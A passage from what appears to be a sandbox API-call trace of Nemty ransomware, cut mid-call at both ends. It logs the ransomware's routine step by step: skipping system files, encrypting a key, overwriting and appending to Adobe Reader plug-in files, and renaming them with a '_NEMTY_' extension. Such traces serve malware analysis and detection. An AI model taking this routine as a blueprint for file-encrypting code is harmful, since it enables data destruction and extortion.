lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.api", lpUsedDefaultChar=0x0) returned 10 [0192.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.api", lpUsedDefaultChar=0x0) returned 10 [0192.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.api", lpUsedDefaultChar=0x0) returned 10 [0192.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.906] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.api", lpUsedDefaultChar=0x0) returned 10 [0192.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.906] Sleep (dwMilliseconds=0x5) [0192.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26a0eff0, dwHighDateTime=0x1d561e8)) [0192.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26a0eff0, dwHighDateTime=0x1d561e8)) [0192.907] GetLastError () returned 0x0 [0192.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.907] GetLastError () returned 0x0 [0192.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.908] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.908] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="rUhw7BPYyg5mAQALbKrAKZDjaxNqSSpgcMDbWYqIHBbjBSbROKHAUeeB8MrggiqQ\r\n22cs4eJ/BGA+L7/bnQ8OW98Fyg4GvaiifyD2mitzSw4b5nC/XrEN7e6yyNAJ6l5S\r\nR2lhxQKCsVoP7G0NPSRSmdy+DXR5mniv9cHDB5w9lqWJGoaP0I2anKAGkVdNfS1/\r\nzvSY2plsk1n+wbgLxEFEtLcMiJjJThe1dyPNjbxPlRtVFG6L6d+bNf8CPgzP2Mrx\r\ndW76Iq82RWGicpH3PVqKrkEktY7wsntGNfOhXuea29YCyW/qihy4L61KB2/mliLb\r\np8WWPKyYa1MeI3QPeGWYIA==\r\n", pcchString=0x653e91c) returned 1 [0192.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.909] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=430179) returned 1 [0192.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.909] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.909] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.918] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.918] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.918] SetFilePointer (in: hFile=0x254, lDistanceToMove=430179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69063 [0192.919] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.922] CloseHandle (hObject=0x254) returned 1 [0192.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.923] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api._nemty_kgobjgd_")) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.924] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25c63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2=".") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="..") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="...") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="windows") returned -1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="$RECYCLE.BIN") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="rsa") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="NTDETECT.COM") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="ntldr") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="MSDOS.SYS") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="IO.SYS") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="boot.ini") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="boot.ini") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="ntuser.dat") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="desktop.ini") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="CONFIG.SYS") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="RECYCLER") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="BOOTSECT.BAK") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="bootmgr") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="programdata") returned 1 [0192.924] lstrcmpiW (lpString1="SendMail.api", lpString2="appdata") returned 1 [0192.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.api", lpUsedDefaultChar=0x0) returned 12 [0192.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.api", lpUsedDefaultChar=0x0) returned 12 [0192.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.api", lpUsedDefaultChar=0x0) returned 12 [0192.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0192.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.api", lpUsedDefaultChar=0x0) returned 12 [0192.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.925] Sleep (dwMilliseconds=0x5) [0192.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26a5b2b0, dwHighDateTime=0x1d561e8)) [0192.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26a5b2b0, dwHighDateTime=0x1d561e8)) [0192.939] GetLastError () returned 0x0 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.939] GetLastError () returned 0x0 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.939] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.939] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.939] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="0Mc381omolVYS3VOGE8l+zA6iBsu7+QZlLIY19VSB1PV+BlDudtEmllv9TdnzJcg\r\n5qr6WrZPVpE7vK98+j4Yk4nm9AmPMl/B1lCND963rOMZx50vJdWfRAEV9P4/3CI0\r\nV+C/Iy69B62PW06OIoOzPxlFDcAGG9QEGGfdOGz0IfTPlpW+OYhgcDE/PTZuzdz6\r\nPjWZI90oBoGJKKlbEuy+nQX7PNNT7Gpu4ekm/UUCCwdgFHRmpPARj21gwXxew/Ki\r\n9hY/ZcyAPd+eMS6LDR4oFtmE6uBiSUyZ35WkBaQJnpOSvayX7otFQ1Ho0KTjh8Ww\r\nOFmX7CNrQnEI+nL9rH2NeQ==\r\n", pcchString=0x653e91c) returned 1 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.939] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.940] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=154723) returned 1 [0192.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.940] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.940] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.949] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.949] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.949] SetFilePointer (in: hFile=0x254, lDistanceToMove=154723, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25c63 [0192.949] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.949] CloseHandle (hObject=0x254) returned 1 [0192.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.950] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api._nemty_kgobjgd_")) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.951] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43a63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2=".") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="..") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="...") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="windows") returned -1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="$RECYCLE.BIN") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="rsa") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="NTDETECT.COM") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="ntldr") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="MSDOS.SYS") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="IO.SYS") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="boot.ini") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="boot.ini") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="ntuser.dat") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="desktop.ini") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="CONFIG.SYS") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="RECYCLER") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="BOOTSECT.BAK") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="bootmgr") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="programdata") returned 1 [0192.951] lstrcmpiW (lpString1="Spelling.api", lpString2="appdata") returned 1 [0192.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.951] 